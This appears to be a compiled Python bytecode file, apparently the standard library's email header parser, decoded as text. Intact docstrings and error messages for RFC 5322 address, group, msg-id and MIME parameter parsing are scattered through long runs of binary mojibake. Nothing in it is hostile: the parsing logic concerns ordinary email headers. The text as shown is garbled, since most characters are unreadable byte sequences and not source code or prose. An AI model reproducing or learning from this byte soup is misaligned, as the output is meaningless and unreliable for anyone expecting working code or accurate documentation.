��q‘œ[Ñ(Ü  ›‰ ˆ�Ù Ü×%Ñ%Ø ,× 3Ñ 3°EÓ :ó<ð <à ˆQ�x�3‚Ü)¨%Ó0‰ ˆˆuØ Ð Ø˜ˆE�"�1ˆIØ� ‰ �eÔØ�uˆ}Ðð'Ü# EÓ*‰ ˆˆuñ ��q‘˜S’Ü×%Ñ%Ð&6Ó7Ð7Ø ÐØ�Hˆˆbˆqˆ Ø ‡M�M�%ÔÙ ��q‘˜S’Ø�‰×Ñœf×9Ñ9Ø 6ó8ô 9à �!‰9× Ñ  :Ò -ؘq™ ˆF‘1ˆIÙ˜˜a™ CšØ �M‰Mœ#Ô Ü# E¨!¨" IÓ.‰LˆE�5Ø �M‰M˜%Ô ñ˜˜a™ C›ð �5ˆ=Ðøô! × "Ñ "ò'Ü “‰ ˆŠuð'úsÂE*Å*!FÆ FcóN—t«}t|«\}}|j|«|r|ddk7r2|jjt j d««||fS|jt dd««t|dd«\}}|j|«||fS)z( addr-spec = local-part "@" domain rr-z#addr-spec local part with no domainúaddress-at-symbolrêN)r%r$ržr'rrur½r3)rrørSs rÚ get_addr_specr6€s¦€ô“ €IÜ! %Ó(�L€Eˆ5Ø ×Ñ�UÔÙ �E˜!‘H ’OØ×Ñ× Ñ ¤×!;Ñ!;Ø 1ó"3ô 4à˜%ÐÐØ ×Ñ”] 3Ð(;Ó<Ô=ܘe A B˜iÓ(�L€Eˆ5Ø ×Ñ�UÔØ �eÐ ÐrcóØ—t«}|rw|ddk(s |dtvrd|dtvr t|«\}}|j|«n"|ddk(r|jt«|dd}|r|ddk(rŒX|dtvrŒd|r|ddk7r$t j dj|««‚|jt«t|dd«\}}|j|«|rœ|ddk(r”|jt«|dd}|snw|dtvrt|«\}}|j|«|snJ|ddk(r7|jt«t|dd«\}}|j|«|r |ddk(rŒ”|st j d«‚|ddk7r$t j d j|««‚|jtdd ««||ddfS) zù obs-route = obs-domain-list ":" obs-domain-list = *(CFWS / ",") "@" domain *("," [CFWS] ["@" domain]) Returns an obs-route token with the appropriate sub-tokens (that is, there is no obs-domain-list in the parse tree). rrÇrêNr-z(expected obs-route domain but found '{}'z%end of header while parsing obs-routeÚ:z4expected ':' marking end of obs-route but found '{}'zend-of-obs-route-marker) rrrržÚ ListSeparatorrrár=ÚRouteComponentMarkerr3r½)rÚ obs_routerSs rÚ get_obs_router<�sù€ô“ €IÙ �U˜1‘X˜s’] e¨A¡h´+Ñ&=Ø �‰8”{Ñ "Ü# E›?‰LˆE�5Ø × Ñ ˜UÕ #Ø �1‰X˜Š_Ø × Ñ œ]Ô +ؘ!˜"�IˆEñ �U˜1‘X˜s“] e¨A¡h´+Ò&=ñ �E˜!‘H ’OÜ×%Ñ%Ø 6× =Ñ =¸eÓ DóFð Fà ×ÑÔ)Ô*ܘe A B˜iÓ(�L€Eˆ5Ø ×Ñ�UÔÙ �E˜!‘H˜c’MØ×ÑœÔ'Ø�a�b� ˆÙØ Ø �‰8”{Ñ "Ü# E›?‰LˆE�5Ø × Ñ ˜UÔ #ÙØ Ø �‰8�sŠ?Ø × Ñ Ô1Ô 2Ü% e¨A¨B iÓ0‰LˆE�5Ø × Ñ ˜UÔ #ñ �E˜!‘H˜c“Mñ Ü×%Ñ%Ð&MÓNÐNØ ˆQ�x�3‚Ü×%Ñ%ð('ß'-¡v¨e£}ó6ð 6à ×Ñ”] 3Ð(AÓBÔCØ �e˜A˜B�iÐ Ðrcóx—t«}|r*|dtvrt|«\}}|j|«|r|ddk7r$t j dj |««‚|jtdd««|dd}|rZ|ddk(rR|jtdd««|jjt jd ««|dd}||fS t|«\}}|j|«|r|ddk(r|dd}n.|jjt jd ««|jtdd««|r*|dtvrt|«\}}|j|«||fS#tj $rœ t|«\}}|jjt jd ««n;#tj $r%t j d j |««‚wxYw|j|«t|«\}}Y�ŒHwxYw) z‡ angle-addr = [CFWS] "<" addr-spec ">" [CFWS] / obs-angle-addr obs-angle-addr = [CFWS] "<" obs-route addr-spec ">" [CFWS] rÚzangle-addr-endznull addr-spec in angle-addrz*obsolete route specification in angle-addrz.expected addr-spec or obs-route but found '{}'z"missing trailing '>' on angle-addr) rûrrržrrár=r½r'rur6r<r)rÚ angle_addrrSs rÚget_angle_addrrA»s4€ô “€JÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×ј%Ô Ù �E˜!‘H ’OÜ×%Ñ%Ø 0× 7Ñ 7¸Ó >ó@ð @à×Ñ”m CÐ);Ó<Ô=Ø �!�"ˆI€Eñ ��q‘˜S’Ø×Ñœ-¨Ð-=Ó>Ô?Ø×Ñ×!Ñ!¤&×"<Ñ"<Ø *ó#,ô -à�a�b� ˆØ˜5Ð Ð ð ,Ü$ UÓ+‰ ˆˆuð×Ñ�eÔÙ ��q‘˜S’Ø�a�b� ‰à×Ñ×!Ñ!¤&×"<Ñ"<Ø 0ó#2ô 3à×Ñ”m CÐ)9Ó:Ô;Ù ��q‘œ[Ñ(Ü “‰ ˆˆuØ×ј%Ô Ø �uÐ Ðøô) × "Ñ "ò ,ð PÜ(¨Ó/‰LˆE�5Ø × Ñ × %Ñ %¤f×&AÑ&AØ<ó'>õ ?øä×&Ñ&ò PÜ×)Ñ)Ø@×GÑGÈÓNóPð Pð Púð ×ј%Ô Ü$ UÓ+‰ ˆ‹uð ,ús*Ã"F Æ H9Æ) rærrár=rrrrCr8r"ržrA)rÚ name_addrrrSs rÚ get_name_addrrFøs`€ô“ €Ià €FÙ Ü×%Ñ%Ø /× 6Ñ 6°uÓ =ó?ð ?à ˆQ�x”;ÑÜ  ›‰ ˆ�ÙÜ×)Ñ)Ø3×:Ñ:¸6ÓBóDð Dà ˆQ�x�3‚Ø �‰8”{Ñ "Ü×)Ñ)Ø3×:Ñ:¸5ÓAóCð Cä'¨Ó.‰ ˆˆuÙÜ×)Ñ)Ø3×:Ñ:¸5ÓAóCð Cà Рܘ% ™(¤IÔ.Ø &˜x��a‘˜˜!‘ à#˜H��b�q� ؈FØ×јÔÜ! %Ó(�L€Eˆ5Ø ÐØ�Hˆˆbˆqˆ Ø ×Ñ�UÔØ �eÐ Ðrcól—t«} t|«\}}t d„|jD««rd|_|j|«||fS#tj$rN t |«\}}n;#tj$r%tjdj |««‚wxYwYŒ˜wxYw)z& mailbox = name-addr / addr-spec zexpected mailbox but found '{}'c3óPK—|]}t|tj«–—Œ y­wr$)r8rrur0s rr3zget_mailbox..+s%èø€ð 3Ù 1˜1ô �aœ×3Ñ3× 4Ù 1ùó‚$&rÐ) r rFrrár6r=ÚanyrErdrž)rrÏrSs rÚ get_mailboxrKsÆ€ô ‹i€GðAÜ$ UÓ+‰ ˆˆuô ñ 3Ø %× 1Ò 1ó 3ô3à.ˆÔØ ‡N�N�5ÔØ �Eˆ>Ðøô × "Ñ "òAð AÜ(¨Ó/‰LˆE‘5øÜ×&Ñ&ò AÜ×)Ñ)Ø1×8Ñ8¸Ó?óAð Að AúñðAús)ŒAÁB3Á&A5Á4B3Á58B-Â-B3Â2B3cóà—t«}|r_|d|vrX|dtvr$|jt|dd««|dd}nt |«\}}|j|«|r|d|vrŒX||fS)zÍ Read everything up to one of the chars in endchars. This is outside the formal grammar. The InvalidMailbox TokenList that is returned acts like a Mailbox, but the data attributes are None. rr&rêN)rrržr½r)rrÑÚinvalid_mailboxrSs rÚget_invalid_mailboxrN1sŠ€ô%Ó&€OÙ �E˜!‘H HÑ,Ø �‰8”{Ñ "Ø × "Ñ "¤=°°q±Ø1Dó$Fô Gà˜!˜"�I‰Eä% eÓ,‰LˆE�5Ø × "Ñ " 5Ô )ñ �E˜!‘H HÒ,ð ˜EÐ !Ð!rcó\—t«}|rº|ddk7r² t|«\}}|j|«|ra|ddvrZ|d}d |_ t|d«\}}|j|«|jjtjd««|r"|ddk(r|jt«|d d}|r |ddk7rŒ²||fS#tj$�rLd}|dt vr®t |«\}}|r|ddvr@|j|«|jjtjd««nät|d«\}}|�|g|dd|j|«|jjtjd««n�|ddk(r/|jjtjd««nVt|d«\}}|�|g|dd|j|«|jjtjd««Y�ŒõwxYw) aJ mailbox-list = (mailbox *("," mailbox)) / obs-mbox-list obs-mbox-list = *([CFWS] ",") mailbox *("," [mailbox / CFWS]) For this routine we go outside the formal grammar in order to improve error handling. We recognize the end of the mailbox list only at the end of the value or at a ';' (the group terminator). This is so that we can turn invalid mailboxes into InvalidMailbox tokens and continue parsing any remaining valid mailboxes. We also allow all mailbox entries to be null, and this condition is handled appropriately at a higher level. rÚ;Nz,;zempty element in mailbox-listzinvalid mailbox in mailbox-listrÇrîrÐrê)rÓrKržrrárrr'rrNrurdrQr9)rÚ mailbox_listrSrrÏs rÚget_mailbox_listrRCs5€ô“=€LÙ �E˜!‘H ’Oð 8Ü& uÓ-‰LˆE�5Ø × Ñ  Ô &ñ4 �U˜1‘X TÑ)ð# 2Ñ&ˆGØ!2ˆGÔ Ü.¨u°dÓ;‰LˆE�5Ø �N‰N˜5Ô !Ø × Ñ × 'Ñ '¬×(BÑ(BØ1ó)3ô 4á �U˜1‘X ’_Ø × Ñ ¤ Ô .ؘ!˜"�IˆEñQ �E˜!‘H “OðR ˜Ð ÐøôK×&Ñ&ó 8؈FØ�Q‰xœ;Ñ&Ü (¨£‘ �˜Ù  a¡¨DÑ 0Ø ×'Ñ'¨Ô/Ø ×(Ñ(×/Ñ/´×0KÑ0KØ7ó19õ:ô$7°u¸dÓ#C‘L�E˜5ØÐ)Ø%+ H˜˜b˜q˜ Ø ×'Ñ'¨Ô.Ø ×(Ñ(×/Ñ/´×0JÑ0JØ9ó1;õ<à�q‘˜S’Ø×$Ñ$×+Ñ+¬F×,GÑ,GØ3ó-5õ6ô 3°5¸$Ó?‘ ��uØÐ%Ø!' �E˜"˜1�IØ×#Ñ# EÔ*Ø×$Ñ$×+Ñ+¬F×,FÑ,FØ5ó-7ô8úð/ 8ús–C à EH+È*H+có®—t«}|s2|jjtjd««||fSd}|r{|dt vrpt |«\}}|sC|jjtjd««|j|«||fS|ddk(r|j|«||fSt|«\}}t|j«dk(rV|�|j|«|j|«|jjtjd««||fS|�|g|dd|j|«||fS)zg group-list = mailbox-list / CFWS / obs-group-list obs-group-list = 1*([CFWS] ",") [CFWS] zend of header before group-listNrzend of header in group-listrPzgroup-list with empty entries) rÙr'ržrrurrrRrërÆrQr)rÚ group_listrrSs rÚget_group_listrU|sa€ô “€JÙ Ø×Ñ×!Ñ!¤&×"<Ñ"<Ø -ó#/ô 0à˜5Ð Ð Ø €FÙ ��q‘œ[Ñ(Ü  ›‰ ˆ�Ùð × Ñ × %Ñ %¤f×&@Ñ&@Ø-ó'/ô 0à × Ñ ˜fÔ %ؘuÐ$Ð $Ø �‰8�sŠ?Ø × Ñ ˜fÔ %ؘuÐ$Ð $Ü# EÓ*�L€Eˆ5Ü ˆ5× Ñ Ó Ò"Ø Ð Ø × Ñ ˜fÔ %Ø×ј%Ô Ø×Ñ×!Ñ!¤&×"=Ñ"=Ø +ó#-ô .à˜5Ð Ð Ø ÐØ�Hˆˆbˆqˆ Ø×Ñ�eÔØ �uÐ Ðrcóà—t«}t|«\}}|r|ddk7r$tjdj |««‚|j |«|j t dd««|dd}|r*|ddk(r"|j t dd««||ddfSt|«\}}|j |«|s/|jj tjd ««n,|ddk7r$tjd j |««‚|j t dd««|dd}|r*|dtvrt|«\}}|j |«||fS) z7 group = display-name ":" [group-list] ";" [CFWS] rr8z8expected ':' at end of group display name but found '{}'zgroup-display-name-terminatorrêNrPzgroup-terminatorzend of header in groupz)expected ';' at end of group but found {}) rßrCrrár=ržr½rUr'rurr)rrÊrSs rÚ get_grouprW¡sa€ô ‹G€EÜ# EÓ*�L€Eˆ5Ù �E˜!‘H ’OÜ×%Ñ%ð'*ß*0©&°«-ó9ð 9à ‡L�L�ÔØ ‡L�L”˜sÐ$CÓDÔEØ �!�"ˆI€EÙ ��q‘˜S’Ø � ‰ ”] 3Ð(:Ó;Ô<Ø�e˜A˜B�iÐÐÜ! %Ó(�L€Eˆ5Ø ‡L�L�ÔÙ Ø � ‰ ×ÑœV×7Ñ7Ø $ó&õ 'à ˆq‰�SŠÜ×%Ñ%Ø 7× >Ñ >¸uÓ EóGð Gà ‡L�L”˜sÐ$6Ó7Ô8Ø �!�"ˆI€EÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ � ‰ �UÔØ �%ˆ<Ðrcó&—t«} t|«\}}|j |«||fS#tj$rN t |«\}}n;#tj$r%tjdj |««‚wxYwYŒuwxYw)aš address = mailbox / group Note that counter-intuitively, an address can be either a single address or a list of addresses (a group). This is why the returned Address object has a 'mailboxes' attribute which treats a single address as a list of length one. When you need to differentiate between to two cases, extract the single element, which is either a mailbox or a group token. zexpected address but found '{}')rÈrWrrárKr=rž)rr¶rSs rÚ get_addressrY¿s£€ô"‹i€GðAÜ  Ó'‰ ˆˆuð ‡N�N�5ÔØ �Eˆ>Ðøô × "Ñ "òAð AÜ& uÓ-‰LˆE‘5øÜ×&Ñ&ò AÜ×)Ñ)Ø1×8Ñ8¸Ó?óAð Að AúñðAús'Œ/¯BÁAÁBÁ8B  BÂBcó^—t«}|r¦ t|«\}}|j|«|re|ddk7r]|dd}d|_ t|d«\}}|j|«|jjtjd««|r|jt«|d d}|rŒ¦||fS#tj$�rad}|dt vr¹t |«\}}|r|ddk(r@|j|«|jjtjd««nøt|d«\}}|�|g|dd|jt|g««|jjtjd««n—|ddk(r/|jjtjd««n`t|d«\}}|�|g|dd|jt|g««|jjtjd««Y�ŒþwxYw) a� address_list = (address *("," address)) / obs-addr-list obs-addr-list = *([CFWS] ",") address *("," [address / CFWS]) We depart from the formal grammar here by continuing to parse until the end of the input, assuming the input to be entirely composed of an address-list. This is always true in email parsing, and allows us to skip invalid addresses to parse additional valid ones. NrrÇz"address-list entry with no contentzinvalid address in address-listzempty element in address-listrîrÐrê)r´rYržrrárrr'rrNrÈrurdrQr9)rÚ address_listrSrrÏs rÚget_address_listr\Üs(€ô“=€LÙ ð 8Ü& uÓ-‰LˆE�5Ø × Ñ  Ô &ñ4 �U˜1‘X ’_ð# 2Ñ& qÑ)ˆGØ!2ˆGÔ Ü.¨u°cÓ:‰LˆE�5Ø �N‰N˜5Ô !Ø × Ñ × 'Ñ '¬×(BÑ(BØ1ó)3ô 4á Ø × Ñ ¤ Ô .ؘ!˜"�IˆEòQ ðR ˜Ð ÐøôK×&Ñ&ó 8؈FØ�Q‰xœ;Ñ&Ü (¨£‘ �˜Ù  a¡¨C¢Ø ×'Ñ'¨Ô/Ø ×(Ñ(×/Ñ/´×0KÑ0KØ<ó1>õ?ô$7°u¸cÓ#B‘L�E˜5ØÐ)Ø%+ H˜˜b˜q˜ Ø ×'Ñ'¬°°Ó(8Ô9Ø ×(Ñ(×/Ñ/´×0JÑ0JØ9ó1;õ<à�q‘˜S’Ø×$Ñ$×+Ñ+¬F×,GÑ,GØ3ó-5õ6ô 3°5¸#Ó>‘ ��uØÐ%Ø!' �E˜"˜1�IØ×#Ñ#¤G¨U¨GÓ$4Ô5Ø×$Ñ$×+Ñ+¬F×,FÑ,FØ5ó-7ô8úð/ 8úsŽB7Â7E1H,È+H,cóØ—t«}|s$tjdj|««‚|ddk7r$tjdj|««‚|j t dd««|dd}t |«\}}|j |«|r|ddk7r$tjd j|««‚|j t dd ««||ddfS) z& no-fold-literal = "[" *dtext "]" z'expected no-fold-literal but found '{}'rr0z;expected '[' at the start of no-fold-literal but found '{}'zno-fold-literal-startrêNr+z9expected ']' at the end of no-fold-literal but found '{}'zno-fold-literal-end)r#rrár=ržr½r))rÚno_fold_literalrSs rÚget_no_fold_literalr_só€ô$“o€OÙ Ü×%Ñ%Ø 5× <Ñ <¸UÓ CóEð Eà ˆQ�x�3‚Ü×%Ñ%ð ß#™V E›]ó,ð ,ð×Ñœ=¨Ð.EÓFÔGØ �!�"ˆI€EܘUÓ#�L€Eˆ5Ø×ј5Ô!Ù �E˜!‘H ’OÜ×%Ñ%ð ß#™V E›]ó,ð ,ð×Ñœ=¨Ð.CÓDÔEØ ˜E ! "˜IÐ %Ð%rcóF—t«}|r*|dtvrt|«\}}|j|«|r|ddk7r$t j dj |««‚|jtdd««|dd} t|«\}}|j|«|r|dd k7r\|jjt jd ««|r(|dd k(r |jtd d ««|dd}||fS|jtd d ««|dd} t|«\}}|j|«|r|dd k(r|dd}n.|jjt jd««|jtd d ««|r*|dtvrt|«\}}|j|«||fS#tj $r} t|«\}}|jjt jd««n;#tj $r%t j dj |««‚wxYwY�ŒÏwxYw#tj $r¦ t|«\}}n’#tj $r| t|«\}}|jjt jd««n;#tj $r%t j dj |««‚wxYwYnwxYwY�ŒåwxYw)zÏmsg-id = [CFWS] "<" id-left '@' id-right ">" [CFWS] id-left = dot-atom-text / obs-id-left id-right = dot-atom-text / no-fold-literal / obs-id-right no-fold-literal = "[" *dtext "]" rr>zexpected msg-id but found '{}'z msg-id-startrêNzobsolete id-left in msg-idz4expected dot-atom-text or obs-id-left but found '{}'r-zmsg-id with no id-rightr?z msg-id-endr5zobsolete id-right in msg-idzFexpected dot-atom-text, no-fold-literal or obs-id-right but found '{}'zmissing trailing '>' on msg-id)r›rrržrrár=r½rr r'rrur_r3)rÚmsg_idrSs rÚ get_msg_idrb)sù€ô ‹W€FÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ� ‰ �eÔÙ �E˜!‘H ’OÜ×%Ñ%Ø ,× 3Ñ 3°EÓ :ó<ð <à ‡M�M”-  ^Ó4Ô5Ø �!�"ˆI€Eð 1Ü(¨Ó/‰ ˆˆuð ‡M�M�%ÔÙ �E˜!‘H ’OØ�‰×Ñœf×8Ñ8Ø %ó'ô (ñ �U˜1‘X ’_Ø �M‰Mœ-¨¨\Ó:Ô ;ؘ!˜"�IˆEØ�uˆ}ÐØ ‡M�M”- Ð%8Ó9Ô:Ø �!�"ˆI€Eð 5Ü(¨Ó/‰ ˆˆuð ‡M�M�%ÔÙ ��q‘˜S’Ø�a�b� ‰à�‰×Ñœf×8Ñ8Ø ,ó.ô /à ‡M�M”-  \Ó2Ô3Ù ��q‘œ[Ñ(Ü “‰ ˆˆuØ� ‰ �eÔØ �5ˆ=Ðøôa × "Ñ "ò 1ð 1ä-¨eÓ4‰LˆE�5Ø �N‰N× !Ñ !¤&×"=Ñ"=Ø,ó#.õ /øä×&Ñ&ò 1Ü×)Ñ)ð"ß"(¡&¨£-ó1ð 1ð 1úò /ð 1ûô4 × "Ñ "ò 5ð 5Ü.¨uÓ5‰LˆE‘5øÜ×&Ñ&ò 5ð 5Ü)¨%Ó0‘ ��uØ—‘×%Ñ%¤f×&AÑ&AØ1ó'3õ4øä×*Ñ*ò 5Ü×-Ñ-ð&ß&,¡f¨U£mó5ð5ð 5úñ4ð 5ýð 5úsxÂGÄ,I'ÇI$Ç(‰>Ô Ø×Ñ×#Ñ#¤F×$>Ñ$>Ø ?× FÑ FÀvÓ Nó%Pô Qà×ÑœM¨&°'Ó:Õ;ä  ›[ˆ ÔØ×ÑœM¨&°(Ó;Ô<Ù ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јEÔ"Ù �E˜!‘H ’OØ × Ñ Ð )Ø × Ñ × 'Ñ '¬×(BÑ(BØBó)Dô Eá Ø × Ñ ¤ ¨e°WÓ =Ô >ØÐØ×Ñœ  cÐ+>Ó?Ô@Ø �!�"ˆI€EÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јEÔ"Ù Ø × Ñ Ð )Ø × Ñ × 'Ñ '¬×(BÑ(BØBó)Dô EàÐØ €FÙ �E˜!‘H¤KÑ/Ø�%˜‘(шØ�a�b� ˆñ �E˜!‘H¤KÒ/ð �>‰>Ô Ø×Ñ×#Ñ#¤F×$>Ñ$>Ø ?× FÑ FÀvÓ Nó%Pô Qà×ÑœM¨&°'Ó:Õ;ä  ›[ˆ ÔØ×ÑœM¨&°(Ó;Ô<Ù ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јEÔ"Ù Ø×Ñ×#Ñ#¤F×$>Ñ$>Ø 5ó%7ô 8à×ÑœM¨%°Ó9Ô:Ø Ðrcóä—t«}|ra|ddk7rY|dtvr$|jt|dd««|dd}nt |«\}}|j|«|r |ddk7rŒY||fS)zÁ Read everything up to the next ';'. This is outside the formal grammar. The InvalidParameter TokenList that is returned acts like a Parameter, but the data attributes are None. rrPr&rêN)r\rržr½r)rÚinvalid_parameterrSs rÚget_invalid_parameterrpÎs‰€ô)Ó*ÐÙ �E˜!‘H ’OØ �‰8”{Ñ "Ø × $Ñ $¤]°5¸±8Ø3Fó&Hô Ià˜!˜"�I‰Eä% eÓ,‰LˆE�5Ø × $Ñ $ UÔ +ñ �E˜!‘H “Oð ˜eÐ #Ð#rcóÖ—t|«}|s$tjdj|««‚|j «}|t |«d}t |d«}t|«||fS)a8ttext = We allow any non-TOKEN_ENDS in ttext, but add defects to the token's defects list if we find non-ttext characters. We also register defects for *any* non-printables even though the RFC doesn't exclude all of them, because we follow the spirit of RFC 5322. zexpected ttext but found '{}'NÚttext)Ú_non_token_end_matcherrrár=rÊrër½rÍ)rrÿrrs rÚ get_ttextrtàsk€ô ˜uÓ%€AÙ Ü×%Ñ%Ø +× 2Ñ 2°5Ó 9ó;ð ;à �G‰G‹I€EØ ”#�e“*�+Ð €EÜ ˜% Ó )€EÜ�EÔØ �%ˆ<Ðrcón—t«}|r*|dtvrt|«\}}|j|«|r/|dtvr$t j dj|««‚t|«\}}|j|«|r*|dtvrt|«\}}|j|«||fS)zútoken = [CFWS] 1*ttext [CFWS] The RFC equivalent of ttext is any US-ASCII chars except space, ctls, or tspecials. We also exclude tabs even though the RFC doesn't. The RFC implies the CFWS but is not explicit about it in the BNF. rúexpected token but found '{}') rŽrrržÚ TOKEN_ENDSrrár=rt)rÚmtokenrSs rÚ get_tokenryós¬€ô‹W€FÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ� ‰ �eÔÙ ��q‘œZÑ'Ü×%Ñ%Ø +× 2Ñ 2°5Ó 9ó;ð ;ä˜UÓ#�L€Eˆ5Ø ‡M�M�%ÔÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ� ‰ �eÔØ �5ˆ=ÐrcóÖ—t|«}|s$tjdj|««‚|j «}|t |«d}t |d«}t|«||fS)aQattrtext = 1*(any non-ATTRIBUTE_ENDS character) We allow any non-ATTRIBUTE_ENDS in attrtext, but add defects to the token's defects list if we find non-attrtext characters. We also register defects for *any* non-printables even though the RFC doesn't exclude all of them, because we follow the spirit of RFC 5322. z expected attrtext but found {!r}Nrb)Ú_non_attribute_end_matcherrrár=rÊrër½rÍ©rrÿrbs rÚ get_attrtextr} sk€ô # 5Ó)€AÙ Ü×%Ñ%Ø .× 5Ñ 5°eÓ <ó>ð >à�w‰w‹y€HØ ”#�h“-�.Ð !€EܘX zÓ2€HÜ�HÔØ �Uˆ?Ðrcón—t«}|r*|dtvrt|«\}}|j|«|r/|dtvr$t j dj|««‚t|«\}}|j|«|r*|dtvrt|«\}}|j|«||fS)aH [CFWS] 1*attrtext [CFWS] This version of the BNF makes the CFWS explicit, and as usual we use a value terminal for the actual run of characters. The RFC equivalent of attrtext is the token characters, with the subtraction of '*', "'", and '%'. We include tab in the excluded set just as we do for token. rrv) r_rrržÚATTRIBUTE_ENDSrrár=r}©rr`rSs rÚ get_attributer� s³€ô“ €IÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јÔÙ ��q‘œ^Ñ+Ü×%Ñ%Ø +× 2Ñ 2°5Ó 9ó;ð ;ä Ó&�L€Eˆ5Ø ×Ñ�UÔÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×Ñ˜ÔØ �eÐ ÐrcóÖ—t|«}|s$tjdj|««‚|j «}|t |«d}t |d«}t|«||fS)zÛattrtext = 1*(any non-ATTRIBUTE_ENDS character plus '%') This is a special parsing routine so that we get a value that includes % escapes as a single string (which we decode as a single string later). z)expected extended attrtext but found {!r}Núextended-attrtext)Ú#_non_extended_attribute_end_matcherrrár=rÊrër½rÍr|s rÚget_extended_attrtextr…4 sn€ô ,¨EÓ2€AÙ Ü×%Ñ%Ø 7× >Ñ >¸uÓ EóGð Gà�w‰w‹y€HØ ”#�h“-�.Ð !€EܘXÐ':Ó;€HÜ�HÔØ �Uˆ?Ðrcón—t«}|r*|dtvrt|«\}}|j|«|r/|dtvr$t j dj|««‚t|«\}}|j|«|r*|dtvrt|«\}}|j|«||fS)z± [CFWS] 1*extended_attrtext [CFWS] This is like the non-extended version except we allow % characters, so that we can pick up an encoded value as a single string. rrv) r_rrržÚEXTENDED_ATTRIBUTE_ENDSrrár=r…r€s rÚget_extended_attributerˆF s´€ô“ €IÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×јÔÙ ��q‘Ô4Ñ4Ü×%Ñ%Ø +× 2Ñ 2°5Ó 9ó;ð ;ä(¨Ó/�L€Eˆ5Ø ×Ñ�UÔÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ×Ñ˜ÔØ �eÐ Ðrcól—t«}|r|ddk7r$tjdj|««‚|j t dd««|dd}|r|dj «s$tjdj|««‚d}|r6|dj «r#||dz }|dd}|r|dj «rŒ#|dd k(r3|d k7r.|jj tjd ««t|«|_ |j t |d ««||fS) a6 '*' digits The formal BNF is more complicated because leading 0s are not allowed. We check for that and add a defect. We also assume no CFWS is allowed between the '*' and the digits, though the RFC is not crystal clear on that. The caller should already have dealt with leading CFWS. rÚ*zExpected section but found {}zsection-markerrêNz$Expected section number but found {}r-Ú0z'section number has an invalid leading 0rh) rfrrár=ržr½rjr'rurkrV)rrgrhs rÚ get_sectionrŒ\ s2€ô‹i€GÙ �E˜!‘H ’OÜ×%Ñ%Ð&E×&LÑ&LØ(-ó'/ó0ð 0à ‡N�N”= Ð&6Ó7Ô8Ø �!�"ˆI€EÙ ˜˜a™×(Ñ(Ô*Ü×%Ñ%ð'1ß17±¸³ó@ð @à €FÙ �E˜!‘H×$Ñ$Ô&Ø�%˜‘(шØ�a�b� ˆñ �E˜!‘H×$Ñ$Õ&ðˆa�y�CÒ˜F cšMØ�‰×Ñœv×9Ñ9Ø9ó ;ô <䘓[€G„NØ ‡N�N”= ¨Ó2Ô3Ø �Eˆ>ÐrcóJ—t«}|stjd«‚d}|dtvrt |«\}}|s$tjdj |««‚|ddk(rt |«\}}nt|«\}}|�|g|dd|j|«||fS)z quoted-string / attribute z&Expected value but found end of stringNrz Expected value but found only {}r) rirrárrr=r rˆrž)rÚvrrSs rÚ get_valuer�z s²€ô ‹€AÙ Ü×%Ñ%Ð&NÓOÐOØ €FØ ˆQ�x”;ÑÜ  ›‰ ˆ�Ù Ü×%Ñ%ð'0ß06±°v³ó@ð @à ˆQ�x�3‚Ü(¨Ó/‰ ˆ‰uä-¨eÓ4‰ ˆˆuØ ÐØ�Hˆˆbˆqˆ ؇H�HˆU„OØ ˆeˆ8€Orcó —t«}t|«\}}|j|«|r|ddk(rA|jjt j dj |«««||fS|ddk(rm t|«\}}d|_|j|«|st jd«‚|ddk(r'|jtdd««|dd }d|_ |dd k7rt jd «‚|jtd d ««|dd }|r*|dtvrt|«\}}|j|«d }|}|j�r|�r|dd k(rút|«\}}|j}d}|j dk(r(|r |ddk(rd}n/t#|«\}}|r|ddk(rd}n t%|«\}}|sd} |ra|jjt j d««|j|«|D]} | j&dk(sŒg| d d | }n|}n0d }|jjt j d««|r |ddk(rd }nt)|«\}}|jr|j dkDrQ|r|ddk7r|j|«|�|}||fS|jjt j d««|sF|jjt j d««|j|«|�€#||fS|�I|D]} | j&dk(sŒn j&dk(|j| «| j*|_|ddk7r$t jdj |««‚|jtdd««|dd }|rf|ddk7r^t#|«\}}|j|«|j*|_|r|ddk7r$t jdj |««‚|jtdd««|dd }|�et1«} |rV|dt2vrt5|«\}}n(|dd k(rtd d«}|dd }nt7|«\}}| j|«|rŒV| }nt)|«\}}|j|«|�|}||fS#tj$rY�ŒWwxYw#Y�Œ.xYw)aY attribute [section] ["*"] [CFWS] "=" value The CFWS is implied by the RFC but not made explicit in the BNF. This simplified form of the BNF from the RFC is made to conform with the RFC BNF through some extra checks. We do it this way because it makes both error recovery and working with the resulting parse tree easier. rrPz)Parameter contains name ({}) but no valuerŠTzIncomplete parameterzextended-parameter-markerrêNÚ=zParameter not followed by '='úparameter-separatorrFÚ'z5Quoted string value for extended parameter is invalidr›zZParameter marked as extended but appears to have a quoted string value that is non-encodedzcApparent initial-extended-value but attribute was not marked as extended or was not initial sectionz(Missing required charset/lang delimitersrƒrbz=Expected RFC2231 char/lang encoding delimiter, but found {!r}zRFC2231-delimiterz;Expected RFC2231 char/lang encoding delimiter, but found {}ÚDQUOTE)rQr�ržr'rrur=rŒrUrár½rZrrr r£rWr}r…rdr�rr”r•rirºrÜrû) rr…rSrÓÚappendtoÚqstringÚ inner_valueÚ semi_validréÚtrŽs rÚ get_parameterrš� s€ô ‹K€EÜ  Ó'�L€Eˆ5Ø ‡L�L�ÔÙ �E˜!‘H ’OØ � ‰ ×ÑœV×7Ñ7ð9%ß%+¡V¨E£]ó4ô 5à�eˆ|ÐØ ˆQ�x�3‚ð Ü& uÓ-‰LˆE�5Ø"ˆEŒOØ �L‰L˜Ô ñÜ×)Ñ)Ð*@ÓAÐ AØ �‰8�sŠ?Ø �L‰Lœ sÐ,GÓHÔ Iؘ!˜"�IˆEØ!ˆEŒNØ ˆQ�x�3‚Ü×%Ñ%Ð&EÓFÐFØ ‡L�L”˜sÐ$9Ó:Ô;Ø �!�"ˆI€EÙ ��q‘œ[Ñ(Ü “‰ ˆˆuØ � ‰ �UÔØ€IØ€HØ ‡~ƒ~š% E¨!¡H°¢Oô/¨uÓ5ш�Ø×,Ñ,ˆ ؈ Ø × Ñ  